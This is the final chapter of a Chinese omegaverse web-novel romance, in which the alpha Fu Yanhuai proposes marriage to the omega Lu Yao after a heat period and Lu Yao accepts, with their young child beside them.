傅晏淮低低笑出声,紧接着鹿遥的眼泪就从眼眶中滚落,滴到了傅晏淮虎口上。【你现在阅读的是 】 第 103 章【大结局】 第103章 第 103 章 大结局 这次发情期又持续了七天才结束, 一开始鹿遥还能闻出傅晏淮的信息素,房间里的白冷杉浓了或是淡了,鹿遥还可以昏昏沉沉地感应到。到后来, 他身体里堆积的alpha信息素实在太多,白冷杉的味道在他鼻子里就和普通的空气差不多。焦糖的味道淡到几乎没有, 鹿遥也已经难以分辨出傅晏淮是不是有在故意释放信息素,引诱他持续发情。 年年还是在间隙里被抱到鹿遥被窝里安抚, 可是后来鹿遥的记忆越来越混乱模糊, 他连自己的理智都很难保留了。 浑浑噩噩的七天过去, 鹿遥又在床上昏睡了一整天, 然后才勉强恢复了一点体力。 但是这次发情期积压了太久, 为了保证鹿遥腺体的稳定, 医生建议他可以在房间内多待两天,保持信息素的纯净。 事实也的确如此,鹿遥的大脑恢复正常运转之后看清了房间内的信息素数值, 他为如此高浓度的信息素含量感到震惊。他曾试图开窗, 但是身体骤然离开alpha的信息素反而感到极为不适, 于是傅晏淮又补了一个临时标记。 傅晏淮这一周都没有处理工作,等到鹿遥的发情期结束,他才终于趁鹿遥睡着的时候抽出一点时间和助理对了一下日程。 鹿遥经过又一次的临时标记后终于认清了现实, 他需要呆在傅晏淮建筑的安全、私密的堡垒中, ao的完全标记强势到只能接纳彼此。 鹿遥睡了快一天一夜,现在虽然疲惫但是却睡不着了。年年喜滋滋地在旁边玩自己的玩具,时不时爬到鹿遥旁边拉他。 鹿遥靠在床上,看着年年发呆。 鹿遥人生一共就经历了两次发情期,第一次的时候他刚刚分化,什么都不记得了。这次虽然早有心理准备, 可明显他做的准备还是不够多。 他就这样看着年年哼哧哼哧揪手里兔子玩具的耳朵,年年就是他刚刚分化就怀上的呢。 虽然中间经历了很多,但是鹿遥依然非常非常的爱这个孩子,年年在他眼里就是世界上最可爱的宝宝。就算再来一次,鹿遥也不会后悔地做出一样的选择,他唯一遗憾的就是让年年早产了。 鹿遥手指上的戒指很闪亮,年年已经不经意间瞟到了很多次。他终于非常好奇地拉起鹿遥的手,眼睛圆圆地看着鹿遥。 “这个,这个是。”鹿遥一边绞尽脑汁想解释,一边又想办法按住年年的手以防他拽下来玩丢了,“是一个戒指,不是玩具。” 这个解释很苍白,年年还是抓着鹿遥的手没有放开。不过鹿遥也知道年年只是想让自己陪他玩,毕竟自己已经一周没有好好陪他了。 尽管依然腰酸背痛,可鹿遥还是坐了起来。年年很高兴地费力举起兔子,鹿遥笑了起来。 他垂下眼注视那枚崭新闪亮的戒指,他不知道傅晏淮到底是什么意思,也不知道傅晏淮是否也给自己戴上了同样的东西。 鹿遥就这样在一边天马行空地胡思乱想,直到傅晏淮走进屋子,他的思路突兀地停止。 鹿遥现在看见傅晏淮莫名很是不好意思,但是又不可遏制地从内心升起对傅晏淮的亲近之意。 傅晏淮单膝压到床上,抬手贴了一下鹿遥的侧脸,“什么时候醒的?” 鹿遥被傅晏淮贴着的脸侧开始发烫,“标记之后…没有再睡。” 傅晏淮揉了一下鹿遥的发顶,“饿了没有,想吃什么吗?” 鹿遥害羞地垂眼,他支支吾吾地没有回答傅晏淮的问题,反而鼓足勇气反问他,“你为什么,要送我戒指。” 傅晏淮一点点覆上鹿遥的手背,十指交叠将他的手拉起来。 鹿遥感到了一点点金属特有的温凉感觉,他愣了一瞬,才发现傅晏淮的无名指上不知道什么时候也多了一枚戒指。样式和他的类似,是对戒。 “现在才戴上,是因为戴了的话你可能会不舒服。”傅晏淮解释道,“怕硌到你。” 鹿遥满头问号,“戴在你的手上为什么会硌到我?” 傅晏淮没有回答这个问题,只是看着鹿遥。 于是鹿遥的脸色就肉眼可见地变得通红,他暗中用力把自己的手抽了出来。 鹿遥低头假装和年年玩,傅晏淮没有走,他直接在两人旁边坐了下来,他的声音响在和鹿遥近在咫尺的地方。 “因为我想和你结婚。” 鹿遥捏年年脸蛋的手僵住。 傅晏淮的声音认真到了郑重的程度,“我们的从前实在称不上是一段正常的婚姻,但我又不想一步步从恋爱开始,求婚、结婚。对不起,我实在太心急了。” 傅晏淮并没有显露出一副非常心急的样子,但他眼中写满了侵占欲,他真的一刻都再也等不下去了。 “如果你愿意的话,让我慢慢补偿给你,好吗?” 鹿遥在这一刻内心充满了茫然,连他自己都不知道自己是不是很在意这个顺序。因为他和傅晏淮结婚的时候,他们两个几乎可以算得上是陌生的。 鹿遥沉默良久,“那如果我不愿意呢?” 傅晏淮看着鹿遥眼睛的目光没有移动分毫,s级信息素随alpha的动作不经意间释放出来,鹿遥无措地想要退后。 傅晏淮握住鹿遥的手腕,硬生生叫停了他想要逃离的动作。 “我可以等。” 对傅晏淮来说,他其实并不在意“婚姻”这件事,他真正在乎的是鹿遥是否完全打上自己的标记。 “只要你是我的omega,无论你希望先恋爱后结婚,还是先结婚后恋爱都无所谓。” “前提是,你一直都只属于我。” 鹿遥不能理解alpha的占有欲,从前傅晏淮从不在意的事情,现在却反而成为他心中的头等大事。而且怎么定义只属于和属于呢,鹿遥感到迷茫,不出意外的话,omega一生只能有一个完全标记的alpha。 面对鹿遥的沉默,傅晏淮克制了些许。他闭了下眼,将眼中的野心和赤裸裸的欲望压下去,再抬眼,又是一副温和的样子。 房间内很昏暗,只有他们两人手上的戒指闪亮。 “抱歉,刚刚吓到你了吗?” 年年这么小的孩子搞不清楚如此复杂的氛围,他困惑地左右看看,有点想钻进鹿遥怀里。 鹿遥觉得,到了这种时刻,其实也不用直白表明自己是否同意。他只是无奈开口,“我们连孩子都有了,这些东西其实也没有什么意义。” “是我想补偿你。”鹿遥从傅晏淮脸上看出了点难过的意思,他不知道这份悲伤是为何而生,也不知道傅晏淮的悲伤是不是真的。 “是你原本就该有的东西,只是我没能做到,没有给你。” 鹿遥在意这些吗,曾经是的。没有得到过世界的善意的孩子一个人跌跌撞撞地长大,他竭尽全力养活自己和保持善良,并且错误地把生活的不容易寄托到虚无缥缈的另一个人身上,他只是太想要一份爱了。 现在鹿遥也不能说自己不在意,对着自己没有得到的东西说不需要,怎么都有点吃不到葡萄说葡萄酸的意思。 而且。 鹿遥看着面前这个人,这张自己曾无数次偷偷观察但不敢光明正大对视的脸。鹿遥后知后觉地发现,在发情期刚开始时,他流在傅晏淮身上的眼泪,并不只是因为自己的身体原因。 他真的很喜欢傅晏淮,可能到了现在,还是有一点点的喜欢。 他们本该是最亲密无间的人。 “我只是觉得,这些体验和经历,可能出现的美好,都应该降临在你身上。而已。” 傅晏淮不知从何时开始心疼鹿遥的过去,在他心里,他的爱人值得被更好地对待。 鹿遥在再次回到京城后其实已经收获了很多的爱意和温暖,但这样的话,他的确还是第一次听到。 “所以,你愿意吗?” “愿意什么。” “你愿意和我结婚,和我,和这个家,永远在一起吗?” 傅晏淮真是一个为利益无所不做的商人,他的表白诚实又恳切。但他不能再接受失去自己的omega,为了让鹿遥永远留在自己身边,傅晏淮愿意卑劣地,为自己增添一切可以增添的筹码。 鹿遥看着高傲的alpha单膝跪地,在他面前低下头。 已经套牢在指间的戒指明晃晃地彰显自己的存在感,傅晏淮拉起鹿遥的那只手,极为耐心地又问了一次。 “我知道这里不足够正式,只有一枚戒指也配不上你。但我实在等不及了,我怕你,真的再也不原谅我。” “所以,你愿意答应我吗?” 年年在鹿遥腿上不安地挪动了两下,然后扭着身子去抱鹿遥的腰,最后还不忘把脸埋进去。 鹿遥没有问那些类似“你会一直爱我吗”,这一类一听就很不靠谱的问题。他抬起头,对傅晏淮一字一句道,“如果你再伤害我的话,我一定会离开你。” 傅晏淮虔诚仰起头,抓住鹿遥的手紧贴在自己脸侧。 “这种事情,不会发生的。” 其实时至今日,鹿遥都不知道当初的自己为什么会那么有勇气,勇敢到莽撞地和傅晏淮契约结婚。那是他人生第一次做出如此出格的事,他还以为,自己这辈子都不会再生出如此勇气。 人们都说,为了追求自己想要的幸福,就算付出一点代价也没什么。 鹿遥不清楚是否真正值得,但他心底重新复苏起冲动,他再一次听到了当年第一次见到傅晏淮时,自己的心跳声。 他没有抽出自己的手,只是很轻地笑了一下。 “我愿意。” 如果相爱的话,胆小的人再勇敢一次,也没关系。 鹿遥相信,这一次会迎来真正的好结局的。 正文完。【你现在阅读的是 】